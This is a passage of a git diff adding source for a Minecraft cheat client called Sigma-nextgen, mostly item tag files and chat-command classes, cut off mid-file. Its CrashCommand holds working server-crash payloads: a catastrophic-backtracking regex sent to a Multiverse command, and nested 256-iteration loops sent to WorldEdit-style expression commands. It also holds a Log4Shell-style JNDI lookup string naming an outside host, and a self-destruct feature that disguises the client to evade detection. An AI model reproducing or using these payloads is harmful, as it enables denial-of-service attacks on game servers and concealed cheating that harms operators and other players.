a/src/data/minecraft/tags/items/wooden_doors.json b/src/data/minecraft/tags/items/wooden_doors.json new file mode 100644 index 00000000..161af841 --- /dev/null +++ b/src/data/minecraft/tags/items/wooden_doors.json @@ -0,0 +1,13 @@ +{ + "replace": false, + "values": [ + "minecraft:oak_door", + "minecraft:spruce_door", + "minecraft:birch_door", + "minecraft:jungle_door", + "minecraft:acacia_door", + "minecraft:dark_oak_door", + "minecraft:crimson_door", + "minecraft:warped_door" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/wooden_fences.json b/src/data/minecraft/tags/items/wooden_fences.json new file mode 100644 index 00000000..e853ce55 --- /dev/null +++ b/src/data/minecraft/tags/items/wooden_fences.json @@ -0,0 +1,13 @@ +{ + "replace": false, + "values": [ + "minecraft:oak_fence", + "minecraft:acacia_fence", + "minecraft:dark_oak_fence", + "minecraft:spruce_fence", + "minecraft:birch_fence", + "minecraft:jungle_fence", + "minecraft:crimson_fence", + "minecraft:warped_fence" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/wooden_pressure_plates.json b/src/data/minecraft/tags/items/wooden_pressure_plates.json new file mode 100644 index 00000000..c80cf5c8 --- /dev/null +++ b/src/data/minecraft/tags/items/wooden_pressure_plates.json @@ -0,0 +1,13 @@ +{ + "replace": false, + "values": [ + "minecraft:oak_pressure_plate", + "minecraft:spruce_pressure_plate", + "minecraft:birch_pressure_plate", + "minecraft:jungle_pressure_plate", + "minecraft:acacia_pressure_plate", + "minecraft:dark_oak_pressure_plate", + "minecraft:crimson_pressure_plate", + "minecraft:warped_pressure_plate" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/wooden_slabs.json b/src/data/minecraft/tags/items/wooden_slabs.json new file mode 100644 index 00000000..b3d1b0b5 --- /dev/null +++ b/src/data/minecraft/tags/items/wooden_slabs.json @@ -0,0 +1,13 @@ +{ + "replace": false, + "values": [ + "minecraft:oak_slab", + "minecraft:spruce_slab", + "minecraft:birch_slab", + "minecraft:jungle_slab", + "minecraft:acacia_slab", + "minecraft:dark_oak_slab", + "minecraft:crimson_slab", + "minecraft:warped_slab" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/wooden_stairs.json b/src/data/minecraft/tags/items/wooden_stairs.json new file mode 100644 index 00000000..ff30545e --- /dev/null +++ b/src/data/minecraft/tags/items/wooden_stairs.json @@ -0,0 +1,13 @@ +{ + "replace": false, + "values": [ + "minecraft:oak_stairs", + "minecraft:spruce_stairs", + "minecraft:birch_stairs", + "minecraft:jungle_stairs", + "minecraft:acacia_stairs", + "minecraft:dark_oak_stairs", + "minecraft:crimson_stairs", + "minecraft:warped_stairs" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/wooden_trapdoors.json b/src/data/minecraft/tags/items/wooden_trapdoors.json new file mode 100644 index 00000000..7368d84c --- /dev/null +++ b/src/data/minecraft/tags/items/wooden_trapdoors.json @@ -0,0 +1,13 @@ +{ + "replace": false, + "values": [ + "minecraft:acacia_trapdoor", + "minecraft:birch_trapdoor", + "minecraft:dark_oak_trapdoor", + "minecraft:jungle_trapdoor", + "minecraft:oak_trapdoor", + "minecraft:spruce_trapdoor", + "minecraft:crimson_trapdoor", + "minecraft:warped_trapdoor" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/items/wool.json b/src/data/minecraft/tags/items/wool.json new file mode 100644 index 00000000..c39732fc --- /dev/null +++ b/src/data/minecraft/tags/items/wool.json @@ -0,0 +1,21 @@ +{ + "replace": false, + "values": [ + "minecraft:white_wool", + "minecraft:orange_wool", + "minecraft:magenta_wool", + "minecraft:light_blue_wool", + "minecraft:yellow_wool", + "minecraft:lime_wool", + "minecraft:pink_wool", + "minecraft:gray_wool", + "minecraft:light_gray_wool", + "minecraft:cyan_wool", + "minecraft:purple_wool", + "minecraft:blue_wool", + "minecraft:brown_wool", + "minecraft:green_wool", + "minecraft:red_wool", + "minecraft:black_wool" + ] +} \ No newline at end of file diff --git a/src/info/sigmaclient/sigma/DiscordRPC.java b/src/info/sigmaclient/sigma/DiscordRPC.java new file mode 100644 index 00000000..1d175d91 --- /dev/null +++ b/src/info/sigmaclient/sigma/DiscordRPC.java @@ -0,0 +1,66 @@ +package info.sigmaclient.sigma; + +import com.jagrosh.discordipc.IPCClient; +import com.jagrosh.discordipc.IPCListener; +import com.jagrosh.discordipc.entities.RichPresence; +import com.jagrosh.discordipc.exceptions.NoDiscordClientException; +import info.sigmaclient.sigma.premium.PremiumManager; +import info.sigmaclient.sigma.sigma5.SelfDestructManager; +import org.apache.logging.log4j.Logger; + +import java.time.OffsetDateTime; +import java.util.Date; + +import static info.sigmaclient.sigma.SigmaNG.getClientVersion; + +public class DiscordRPC { + public static OffsetDateTime time; + private static final Logger LOGGER = org.apache.logging.log4j.LogManager.getLogger(); + public static void load() { + IPCClient client = new IPCClient(1134419237365100684L); + time = OffsetDateTime.now(); + client.setListener(new IPCListener() { + @Override + public void onReady(IPCClient client) { + update(client); + new Thread(() -> { + while (true) { + if(SelfDestructManager.destruct){ + client.close(); + return; + } + update(client); + try { + Thread.sleep(2000); + } catch (InterruptedException ignored) { + } + } + }); + } + }); + try { + client.connect(); + } catch (NoDiscordClientException e) { + LOGGER.warn("No discord client"); + } catch (Exception e){ + LOGGER.warn("No discord client! #2"); + } + } + static int state = 0; + private static void update(IPCClient client) { + state ++; + String rr = "SigmaNG 1.16.4 b" + SigmaNG.getClientVersion(); + RichPresence.Builder builder = new RichPresence.Builder(); + builder.setDetails(rr) + .setStartTimestamp(time) + .setLargeImage("sb"); + builder.setState("Dev FallenAngeler Editing"); + if(PremiumManager.isPremium){ + builder.setSmallImage("sb", "Premium"); + } + client.sendRichPresence(builder.build()); + } + + static void stop() { + } +} diff --git a/src/info/sigmaclient/sigma/Sigma.java b/src/info/sigmaclient/sigma/Sigma.java new file mode 100644 index 00000000..0182dcf5 --- /dev/null +++ b/src/info/sigmaclient/sigma/Sigma.java @@ -0,0 +1,25 @@ +package info.sigmaclient.sigma; + +import info.sigmaclient.sigma.config.ConfigManager; +import info.sigmaclient.sigma.sigma5.SelfDestructManager; +import lombok.Getter; +import top.fl0wowp4rty.phantomshield.annotations.Native; + +import java.util.Date; + +public class Sigma { + @Getter + public static SigmaNG INSTANCE; + public static String title = "Sigma 5.0"; + public static String getWindowTitle() + { + if(SelfDestructManager.destruct){ + return "Minecraft"; + } + return title; + } + public void initClient(){ + DiscordRPC.load(); + title = "Jello for Sigma 5.0" + (((new Date().getMonth()==0 && new Date().getDate() == 1)) ? " New Year" : ""); + } +} diff --git a/src/info/sigmaclient/sigma/SigmaNG.java b/src/info/sigmaclient/sigma/SigmaNG.java new file mode 100644 index 00000000..a259757b --- /dev/null +++ b/src/info/sigmaclient/sigma/SigmaNG.java @@ -0,0 +1,110 @@ +package info.sigmaclient.sigma; + +import info.sigmaclient.sigma.utils.anticrack.AntiAgent; +import info.sigmaclient.sigma.utils.anticrack.MiscAntiCrack; +import info.sigmaclient.sigma.utils.render.rendermanagers.TextureObf; +import info.sigmaclient.sigma.config.FriendsManager; +import info.sigmaclient.sigma.modules.ModuleManager; +import info.sigmaclient.sigma.gui.hud.notification.NotificationManager; +import info.sigmaclient.sigma.utils.UpdateLogs; +import info.sigmaclient.sigma.sigma5.jelloportal.vialoader.ViaLoader; +import info.sigmaclient.sigma.sigma5.utils.BlurUtils; +import info.sigmaclient.sigma.sigma5.utils.Sigma5BlurUtils; +import info.sigmaclient.sigma.config.ConfigManager; +import info.sigmaclient.sigma.event.EventManager; +import info.sigmaclient.sigma.premium.PremiumManager; +import info.sigmaclient.sigma.scripts.ScriptModuleManager; +import info.sigmaclient.sigma.utils.font.FontUtil; +import info.sigmaclient.sigma.commands.CommandManager; +import info.sigmaclient.sigma.gui.font.JelloFontUtil; +import info.sigmaclient.sigma.minimap.XaeroMinimap; +import lombok.Getter; +import top.fl0wowp4rty.phantomshield.annotations.Native; +import top.fl0wowp4rty.phantomshield.annotations.Native; + +import java.io.IOException; +public class SigmaNG { + public AntiAgent antiAgent = new AntiAgent(); + public static String getClientName(){ + return "Sigma-nextgen"; + } + public static String getClientVersion(){ + return "13.7"; + } + public static String getClientAuthor(){ + return "IamFrozenMilk, UneCroissantine, IamFrozenNeko"; + } + @Getter + public static SigmaNG SigmaNG; + @Getter + public static Sigma SIGMA; + public static float lineWidth = 1.0F; + public static boolean betterResPack = true; + public boolean guiBlur = false; + public boolean inGameGuiBlur = false; + public XaeroMinimap minimap = new XaeroMinimap(); + public MiscAntiCrack verify = new MiscAntiCrack(); + public ModuleManager moduleManager = new ModuleManager(); + public ConfigManager configManager = new ConfigManager(); + public ScriptModuleManager scriptModuleManager = new ScriptModuleManager(); + public CommandManager commandManager = new CommandManager(); + public FriendsManager friendsManager = new FriendsManager(); + public PremiumManager premiumManager = new PremiumManager(); + public NotificationManager notificationManager = new NotificationManager(); + public static GAME_MODE gameMode = GAME_MODE.SIGMA; + public GAME_MODE gameMode2 = GAME_MODE.RELEASE; + public enum GAME_MODE{ + SIGMA, dest, DEV, RELEASE, BETA, SAFEMODE + } + static public boolean init; + public static void staticInitTitle() { + SIGMA = new Sigma(); + SIGMA.initClient(); + } + public static boolean initClient = false; + public static void staticInit() { + if(!initClient) { + initClient = true; + SigmaNG = new SigmaNG(); + SigmaNG.initClient(); + } + } + public void initClient(){ + premiumManager.init(); + try { + minimap.load(); + } catch (IOException e) { + throw new RuntimeException(e); + } + if(!ConfigManager.normalDir.exists()) + ConfigManager.normalDir.mkdir(); + if(!ConfigManager.configDir.exists()) + ConfigManager.configDir.mkdir(); + if(!scriptModuleManager.scriptDir.exists()) + scriptModuleManager.scriptDir.mkdir(); + if(!ConfigManager.musicDir.exists()) + ConfigManager.musicDir.mkdir(); +// if(!ConfigManager.altDir.exists()) +// ConfigManager.altDir.mkdir(); + + verify.verify(); + ViaLoader.load(); + FontUtil.setupFonts(); + FontUtil.load(); + JelloFontUtil.init(); + moduleManager.init(); + EventManager.init(); + configManager.loadDefaultConfig(); + commandManager.init(); + UpdateLogs.loadLogs(); + BlurUtils.reInit(); + Sigma5BlurUtils.initAll(); + } + public static void initProxy(){ +// System.setProperty("https.proxyHost", "127.0.0.1"); +// System.setProperty("https.proxyPort", "7880"); +// +// System.setProperty("http.proxyHost", "127.0.0.1"); +// System.setProperty("http.proxyPort", "7880"); + } +} diff --git a/src/info/sigmaclient/sigma/commands/Command.java b/src/info/sigmaclient/sigma/commands/Command.java new file mode 100644 index 00000000..c264884c --- /dev/null +++ b/src/info/sigmaclient/sigma/commands/Command.java @@ -0,0 +1,15 @@ +package info.sigmaclient.sigma.commands; + +import info.sigmaclient.sigma.utils.ChatUtils; +import net.minecraft.client.Minecraft; + +public abstract class Command { + protected static Minecraft mc = Minecraft.getInstance(); + public abstract void onChat(String[] args, String joinArgs); + public abstract String usages(); + public abstract String describe(); + public abstract String[] getName(); + public void sendUsages(){ + ChatUtils.sendMessageWithPrefix("Syntax error. Usages: " + getName()[0] + " " + usages()); + } +} diff --git a/src/info/sigmaclient/sigma/commands/CommandManager.java b/src/info/sigmaclient/sigma/commands/CommandManager.java new file mode 100644 index 00000000..9b34678b --- /dev/null +++ b/src/info/sigmaclient/sigma/commands/CommandManager.java @@ -0,0 +1,71 @@ +package info.sigmaclient.sigma.commands; + +import com.mojang.brigadier.CommandDispatcher; +import com.mojang.brigadier.builder.ArgumentBuilder; +import com.mojang.brigadier.builder.LiteralArgumentBuilder; +import com.mojang.brigadier.tree.CommandNode; +import com.mojang.brigadier.tree.RootCommandNode; +import info.sigmaclient.sigma.commands.impl.*; +import info.sigmaclient.sigma.music.SoundPlayer; +import info.sigmaclient.sigma.sigma5.SelfDestructManager; +import info.sigmaclient.sigma.utils.ChatUtils; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.screen.ChatScreen; +import net.minecraft.command.ISuggestionProvider; + +import java.util.ArrayList; + +public class CommandManager { + ArrayList commands = new ArrayList<>(); + public void init(){ + commands.add(new BindCommand()); + commands.add(new VClipCommand()); + commands.add(new SendMessageCommand()); + commands.add(new CrashCommand()); + commands.add(new ConfigCommand()); + commands.add(new GPSCommand()); + commands.add(new ToggleCommand()); + commands.add(new FirendCommand()); + commands.add(new SelfDestructCommand()); + } + public void getTab(){ + if(Minecraft.getInstance().currentScreen instanceof ChatScreen chatScreen && chatScreen.inputField != null){ + String text = chatScreen.inputField.getText(); + if(SelfDestructManager.destruct) return; + if(text.startsWith(".")){ +// ArgumentBuilder s = LiteralArgumentBuilder.literal("sb"); +// RootCommandNode build = (RootCommandNode)s.build(); +// Minecraft.getInstance().getConnection().commandDispatcher = new CommandDispatcher<>(build); + } + } + } + public boolean onChat(String str){ + if(str.equals(SelfDestructManager.key)){ + SelfDestructManager.destruct = false; + return true; + } + if(SelfDestructManager.destruct) return false; + if(str.startsWith(".")){ + String[] sp = str.split(" "); + if(sp[0].equals(".help")){ + String m = "The help list of Sigma:\n\n"; + for(Command command : commands){ + m += "§7 ." + command.getName()[0] + " - " + command.describe() + "\n\n"; + } + ChatUtils.sendMessageWithPrefix(m.substring(0, m.length() - 2)); + return true; + } + for(Command command : commands){ + if(("." + command.getName()[0]).equals(sp[0])){ + String j = str.replaceFirst(sp[0]+" ", ""); + String[] last = j.split(" "); + command.onChat(last, j); + return true; + } + } + ChatUtils.sendMessageWithPrefix("Unknow command: " + sp[0] + ", use .help get helps."); + return true; + } + return false; + } +} diff --git a/src/info/sigmaclient/sigma/commands/impl/BindCommand.java b/src/info/sigmaclient/sigma/commands/impl/BindCommand.java new file mode 100644 index 00000000..b053da11 --- /dev/null +++ b/src/info/sigmaclient/sigma/commands/impl/BindCommand.java @@ -0,0 +1,45 @@ +package info.sigmaclient.sigma.commands.impl; + +import info.sigmaclient.sigma.SigmaNG; +import info.sigmaclient.sigma.modules.Module; +import info.sigmaclient.sigma.commands.Command; +import info.sigmaclient.sigma.utils.ChatUtils; +import net.minecraft.client.util.InputMappings; + +public class BindCommand extends Command { + @Override + public void onChat(String[] args, String joinArgs) { + if(args.length != 2){ + sendUsages(); + return; + } + Module module; + module = SigmaNG.getSigmaNG().moduleManager.getModuleByName(args[0]); + if(module == null){ + ChatUtils.sendMessageWithPrefix("Not found module: " + args[0] + "."); + return; + } + try { + module.key = InputMappings.getInputByName("key.keyboard."+args[1].toLowerCase()).getKeyCode(); + }catch (Exception e){ + module.key = -1; + } + String str = module.key != -1 ? InputMappings.getInputByCode(module.key, 0).getTranslationKey() : "none"; + ChatUtils.sendMessageWithPrefix("Set key of module " + args[0] + " to " + str + "."); + } + + @Override + public String usages() { + return "[module] [key]"; + } + + @Override + public String describe() { + return "Bind key of a module."; + } + + @Override + public String[] getName() { + return new String[]{"bind"}; + } +} diff --git a/src/info/sigmaclient/sigma/commands/impl/ConfigCommand.java b/src/info/sigmaclient/sigma/commands/impl/ConfigCommand.java new file mode 100644 index 00000000..2f080a46 --- /dev/null +++ b/src/info/sigmaclient/sigma/commands/impl/ConfigCommand.java @@ -0,0 +1,123 @@ +package info.sigmaclient.sigma.commands.impl; + +import info.sigmaclient.sigma.SigmaNG; +import info.sigmaclient.sigma.config.ConfigManager; +import info.sigmaclient.sigma.commands.Command; +import info.sigmaclient.sigma.utils.ChatUtils; + +import java.io.File; +import java.util.Arrays; +import java.util.Iterator; +import java.util.Objects; + +public class ConfigCommand extends Command { + private static boolean isFileNameValid(String name) { + if (name == null || name.length() > 255) { + return false; + } else { + return name.matches("^[a-zA-Z0-9](?:[a-zA-Z0-9 ._-]*[a-zA-Z0-9])?"); + } + } + + @Override + public void onChat(String[] args, String joinArgs) { + if (args.length == 0 || args.length > 2) { + sendUsages(); + return; + } + switch (args[0]) { + case "save": + if(args.length == 1){ + sendUsages(); + return; + } + String fileName = args[1]; + if(!isFileNameValid(fileName)){ + ChatUtils.sendMessageWithPrefix("Bad file name!"); + return; + } + ConfigManager.currentProfile = fileName; + SigmaNG.getSigmaNG().configManager.saveDefaultConfigWithoutAlt(); + ChatUtils.sendMessageWithPrefix("Save config to .minecraft/sigma5ng/configs/" + fileName + ConfigManager.profileLast + "\n\u00a7eWarning: current profile: " + fileName); + SigmaNG.getSigmaNG().configManager.saveLastConfigData(); + break; + case "delete": + if(args.length == 1){ + sendUsages(); + return; + } + String fileNameD = args[1]; + if(!isFileNameValid(fileNameD)){ + ChatUtils.sendMessageWithPrefix("Bad file name!"); + return; + } + if(fileNameD.equals(ConfigManager.currentProfile)){ + ChatUtils.sendMessageWithPrefix("You cant delete current profile!"); + return; + } + File f = SigmaNG.getSigmaNG().configManager.getConfigFile(fileNameD); + if(f.isDirectory() || !f.exists()){ + ChatUtils.sendMessageWithPrefix(fileNameD + ConfigManager.profileLast + " is a directory or not exists!"); + return; + } + f.delete(); + ChatUtils.sendMessageWithPrefix("Delete " + fileNameD + ConfigManager.profileLast + "."); + break; + case "list": + Iterator files = Arrays.stream(Objects.requireNonNull(ConfigManager.configDir.listFiles())).filter((ff) -> ff.isFile() && ff.getName().endsWith(".profile")).iterator(); + StringBuilder availableProfiles = new StringBuilder(); + for (Iterator it = Objects.requireNonNull(files); it.hasNext(); ) { + File ff = it.next(); + availableProfiles.append(ff.getName().replace(".profile", "")).append(!files.hasNext() ? "" : ", "); + } + ChatUtils.sendMessageWithPrefix("Available profiles: " + availableProfiles); + break; + case "load": + if(args.length == 1){ + sendUsages(); + return; + } + String fileName2 = args[1]; + if(!isFileNameValid(fileName2)){ + ChatUtils.sendMessageWithPrefix("Bad file name!"); + return; + } + if(fileName2.equals(ConfigManager.currentProfile)){ + ChatUtils.sendMessageWithPrefix("You cant load current profile!"); + return; + } + File ff2 = SigmaNG.getSigmaNG().configManager.getConfigFile(fileName2); + if(ff2.isDirectory() || !ff2.exists()){ + ChatUtils.sendMessageWithPrefix(fileName2 + ConfigManager.profileLast + " is a directory or not exists!"); + return; + } + SigmaNG.getSigmaNG().configManager.saveDefaultConfigWithoutAlt(); + ConfigManager.currentProfile = fileName2; + SigmaNG.getSigmaNG().configManager.saveLastConfigData(); + SigmaNG.getSigmaNG().configManager.loadDefaultConfig(); + ChatUtils.sendMessageWithPrefix("Load config: " + fileName2 + ConfigManager.profileLast + "\n§eWarning: current profile: " + fileName2); + break; + case "current": + ChatUtils.sendMessageWithPrefix("Current file: " + ConfigManager.currentProfile); + break; + default: + sendUsages(); + break; + } + } + + @Override + public String usages() { + return "(save, delete, list, load, current)"; + } + + @Override + public String describe() { + return "Edit configs."; + } + + @Override + public String[] getName() { + return new String[]{"config"}; + } +} diff --git a/src/info/sigmaclient/sigma/commands/impl/CrashCommand.java b/src/info/sigmaclient/sigma/commands/impl/CrashCommand.java new file mode 100644 index 00000000..7bdd2824 --- /dev/null +++ b/src/info/sigmaclient/sigma/commands/impl/CrashCommand.java @@ -0,0 +1,60 @@ +package info.sigmaclient.sigma.commands.impl; + +import info.sigmaclient.sigma.commands.Command; +import info.sigmaclient.sigma.utils.ChatUtils; +import net.minecraft.network.play.client.*; +public class CrashCommand extends Command { + String[] crashMode = new String[]{ + "WE", "cxdev1", "cxdev2", "mv" + }; + public String jndi = "${jndi:rmi://du.pa}"; + @Override + public void onChat(String[] args, String joinArgs) { + if(args.length != 1){ + ChatUtils.sendMessageWithPrefix(".crash " + String.join(",", crashMode)); + return; + } + boolean c = false; + for(String s : crashMode){ + if(s.equalsIgnoreCase(args[0])){ + c = true; + } + } + if(!c){ + ChatUtils.sendMessageWithPrefix("\u00a77Not exists mode. \u00a77Do .crash \u00a77" + String.join("\u00a77, ", crashMode)); + } + switch (args[0].toLowerCase()){ + case "mv": + mc.getConnection().sendPacket(new CChatMessagePacket( + "/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.+)$^^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.+)$^" + )); + break; + case "we": + mc.getConnection().sendPacket(new CChatMessagePacket("/to for(i=0;i<256;i++){for(j=0;j<256;j++){for(k=0;k<256;k++){for(l=0;l<256;l++){ln(pi)}}}}")); + break; + case "cxdev1": + mc.getConnection().sendPacket(new CChatMessagePacket("//solve for(i=0;i<256;i++){for(j=0;j<256;j++){for(k=0;k<256;k++){for(l=0;l<256;l++){ln(pi)}}}}")); + //solve for(i=0;i<256;i++){for(j=0;j<256;j++){for(k=0;k<256;k++){for(l=0;l<256;l++){ln(pi)}}}} + break; + case "cxdev2": + mc.getConnection().sendPacket(new CChatMessagePacket("//calc for(i=0;i<256;i++){for(j=0;j<256;j++){for(k=0;k<256;k++){for(l=0;l<256;l++){ln(pi)}}}}")); + //calc for(i=0;i<256;i++){for(j=0;j<256;j++){for(k=0;k<256;k++){for(l=0;l<256;l++){ln(pi)}}}} + break; + } + } + + @Override + public String usages() { + return "[mode]"; + } + + @Override + public String describe() { + return "Better crasher."; + } + + @Override + public String[] getName() { + return new String[]{"bcrash"}; + } +} diff --git a/src/info/sigmaclient/sigma/commands/impl/FirendCommand.java b/src/info/sigmaclient/sigma/commands/impl/FirendCommand.java new file mode 100644 index 00000000..2fbcefc2 --- /dev/null +++ b/src/info/sigmaclient/sigma/commands/impl/FirendCommand.java @@ -0,0 +1,66 @@ +package info.sigmaclient.sigma.commands.impl; + +import info.sigmaclient.sigma.commands.Command; +import info.sigmaclient.sigma.utils.ChatUtils; +import info.sigmaclient.sigma.SigmaNG; + +public class FirendCommand extends Command { + @Override + public void onChat(String[] args, String joinArgs) { + if(args.length < 1){ + sendUsages(); + return; + } + if(args.length == 1) { + if (args[0].equals("clear")) { + SigmaNG.getSigmaNG().friendsManager.friends.clear(); + ChatUtils.sendMessageWithPrefix("Clear all friends!"); + return; + } else if (args[0].equals("list")) { + String[] sr = new String[SigmaNG.getSigmaNG().friendsManager.friends.size()]; + int i = 0; + for(String names : SigmaNG.getSigmaNG().friendsManager.friends) { + sr[i] = names; + i++; + } + ChatUtils.sendMessageWithPrefix("Your friends: " + String.join(", ", sr)); + }else{ + sendUsages(); + } + }else{ + args[1] = args[1].toLowerCase(); + if (args[0].equals("remove")) { + if(SigmaNG.getSigmaNG().friendsManager.friends.contains(args[1])){ + ChatUtils.sendMessageWithPrefix("Remove friend: " + args[1]); + SigmaNG.getSigmaNG().friendsManager.friends.remove(args[1]); + }else{ + ChatUtils.sendMessageWithPrefix("Not found friend: " + args[1]); + } + }else if (args[0].equals("add")) { + if(SigmaNG.getSigmaNG().friendsManager.friends.contains(args[1])){ + ChatUtils.sendMessageWithPrefix("Friend " + args[1] + " is exists."); + }else{ + ChatUtils.sendMessageWithPrefix("Add friend: " + args[1]); + SigmaNG.getSigmaNG().friendsManager.friends.add(args[1]); + } + }else{ + sendUsages(); + } + } + } + + @Override + public String usages() { + return "[remove/add/clear/list] [player name]"; + } + + @Override + public String describe() { + return "add friend."; + } + + @Override + public String[] getName() { + return new String[]{"friend"}; + } +} diff --git a/src/info/sigmaclient/sigma/commands/impl/GPSCommand.java b/src/info/sigmaclient/sigma/commands/impl/GPSCommand.java new file mode 100644 index 00000000..6f7a92b6 --- /dev/null +++ b/src/info/sigmaclient/sigma/commands/impl/GPSCommand.java @@ -0,0 +1,74 @@ +package info.sigmaclient.sigma.commands.impl; + +import info.sigmaclient.sigma.SigmaNG; +import info.sigmaclient.sigma.commands.Command; +import info.sigmaclient.sigma.modules.Module; +import info.sigmaclient.sigma.utils.ChatUtils; +import info.sigmaclient.sigma.utils.font.FontUtil; +import info.sigmaclient.sigma.utils.player.RotationUtils; +import info.sigmaclient.sigma.utils.render.ColorUtils; +import info.sigmaclient.sigma.utils.render.RenderUtils; +import info.sigmaclient.sigma.utils.render.rendermanagers.GlStateManager; +import info.sigmaclient.sigma.utils.render.rendermanagers.ScaledResolution; +import net.minecraft.entity.player.PlayerEntity; +import net.minecraft.util.math.MathHelper; +import net.minecraft.util.math.vector.Vector3d; + +public class GPSCommand extends Command { + public static double x, z; + static Vector3d vec; + public static void render() { + if (vec == null) return; + float angel = RotationUtils.toRotation(vec).getYaw() + 90F; + float aa = angel - MathHelper.wrapAngleTo180_float(mc.player.rotationYaw) - 90F; + GlStateManager.pushMatrix(); + ScaledResolution sr = new ScaledResolution(mc); + float yO = -100; + GlStateManager.translate(sr.getScaledWidth() / 2f, sr.getScaledHeight() / 2f + yO, 0); + GlStateManager.rotate(aa, 0, 0, 1); + GlStateManager.translate(-sr.getScaledWidth() / 2f, -(sr.getScaledHeight() / 2f + yO), 0); + String str = "GPS" + " (" + ((int) mc.player.getDistance(x, mc.player.getPosY(), z)) + "m)"; + FontUtil.sfuiFont16.drawSmoothString(str, + sr.getScaledWidth() / 2f - FontUtil.sfuiFont16.getStringWidth(str) / 2f, + sr.getScaledHeight() / 2f - 45 + yO, -1); + RenderUtils.drawTextureLocationZoom(sr.getScaledWidth() / 2f - 32 * 0.6f * 0.5f, sr.getScaledHeight() / 2f - 30 - 32 * 0.6f * 0.5f + yO, 32 * 0.6f, 32 * 0.6f, "arrow", ColorUtils.reAlpha(-1, 0.9f)); + GlStateManager.popMatrix(); + } + @Override + public void onChat(String[] args, String joinArgs) { + if(args.length == 1 && args[0].equalsIgnoreCase("stop")){ + vec = null; + return; + } + if(args.length != 2){ + sendUsages(); + return; + } + + try{ + double x = Double.parseDouble(args[0]); + double z = Double.parseDouble(args[1]); + ChatUtils.sendMessageWithPrefix("GPS to " + x + ", " + z + "!"); + GPSCommand.x = x; + GPSCommand.z = z; + vec = new Vector3d(x, 0, z); + }catch (Exception e){ + ChatUtils.sendMessageWithPrefix("Bad postion!"); + } + } + + @Override + public String usages() { + return "[x, z] / stop"; + } + + @Override + public String describe() { + return "gps to pos."; + } + + @Override + public String[] getName() { + return new String[]{"gps"}; + } +} diff --git a/src/info/sigmaclient/sigma/commands/impl/SelfDestructCommand.java b/src/info/sigmaclient/sigma/commands/impl/SelfDestructCommand.java new file mode 100644 index 00000000..1bcaaa93 --- /dev/null +++ b/src/info/sigmaclient/sigma/commands/impl/SelfDestructCommand.java @@ -0,0 +1,42 @@ +package info.sigmaclient.sigma.commands.impl; + +import info.sigmaclient.sigma.commands.Command; +import info.sigmaclient.sigma.sigma5.SelfDestructManager; +import info.sigmaclient.sigma.utils.ChatUtils; +import info.sigmaclient.sigma.utils.font.FontUtil; +import info.sigmaclient.sigma.utils.player.RotationUtils; +import info.sigmaclient.sigma.utils.render.ColorUtils; +import info.sigmaclient.sigma.utils.render.RenderUtils; +import info.sigmaclient.sigma.utils.render.rendermanagers.GlStateManager; +import info.sigmaclient.sigma.utils.render.rendermanagers.ScaledResolution; +import net.minecraft.util.math.MathHelper; +import net.minecraft.util.math.vector.Vector3d; + +import java.util.Random; + +public class SelfDestructCommand extends Command { + @Override + public void onChat(String[] args, String joinArgs) { + if(args.length == 1 && args[0].equals("confirm")){ + SelfDestructManager.destruct(); + return; + } + SelfDestructManager.key = (new Random().nextInt(999)+1000) + ""; + ChatUtils.sendMessageWithPrefix("if you want to self-destruct, please do .selfdestruct confirm. You can input a number " + SelfDestructManager.key + " to cancel self-destruct."); + } + + @Override + public String usages() { + return ""; + } + + @Override + public String describe() { + return "self-destruct."; + } + + @Override + public String[] getName() { + return new String[]{"selfdestruct"}; + } +} diff --git a/src/info/sigmaclient/sigma/commands/impl/SendMessageCommand.java b/src/info/sigmaclient/sigma/commands/impl/SendMessageCommand.java new file mode 100644 index 00000000..176726e1 --- /dev/null +++ b/src/info/sigmaclient/sigma/commands/impl/SendMessageCommand.java @@ -0,0 +1,29 @@ +package info.sigmaclient.sigma.commands.impl; + +import info.sigmaclient.sigma.commands.Command; + +public class SendMessageCommand extends Command { + @Override + public void onChat(String[] args, String joinArgs) { + if(args.length == 0){ + sendUsages(); + return; + } + mc.player.sendChatMessage(joinArgs); + } + + @Override + public String usages() { + return "[message]"; + } + + @Override + public String describe() { + return "Send meesage without \".\"."; + } + + @Override + public String[] getName() { + return new String[]{"sendmessage", "send"}; + } +} diff --git a/src/info/sigmaclient/sigma/commands/impl/ToggleCommand.java b/src/info/sigmaclient/sigma/commands/impl/ToggleCommand.java new file mode 100644 index 00000000..387968ff --- /dev/null +++ b/src/info/sigmaclient/sigma/commands/impl/ToggleCommand.java @@ -0,0 +1,39 @@ +package info.sigmaclient.sigma.commands.impl; + +import info.sigmaclient.sigma.commands.Command; +import info.sigmaclient.sigma.utils.ChatUtils; +import info.sigmaclient.sigma.SigmaNG; +import info.sigmaclient.sigma.modules.Module; + +public class ToggleCommand extends Command { + @Override + public void onChat(String[] args, String joinArgs) { + if(args.length != 1){ + sendUsages(); + return; + } + Module module; + module = SigmaNG.getSigmaNG().moduleManager.getModuleByName(args[0]); + if(module == null){ + ChatUtils.sendMessageWithPrefix("Not found module: " + args[0] + "."); + return; + } + module.enabled = !module.enabled; + ChatUtils.sendMessageWithPrefix("Toggle module " + args[0] + " to " + (module.enabled ? "enable" : "disable")); + } + + @Override + public String usages() { + return "[module name]"; + } + + @Override + public String describe() { + return "enable/disable module."; + } + + @Override + public String[] getName() { + return new String[]{"toggle"}; + } +} diff --git a/src/info/sigmaclient/sigma/commands/impl/VClipCommand.java b/src/info/sigmaclient/sigma/commands/impl/VClipCommand.java new file mode 100644 index 00000000..978eff1d --- /dev/null +++ b/src/info/sigmaclient/sigma/commands/impl/VClipCommand.java @@ -0,0 +1,39 @@ +package info.sigmaclient.sigma.commands.impl; + +import info.sigmaclient.sigma.commands.Command; +import info.sigmaclient.sigma.utils.ChatUtils; + +public class VClipCommand extends Command { + @Override + public void onChat(String[] args, String joinArgs) { + 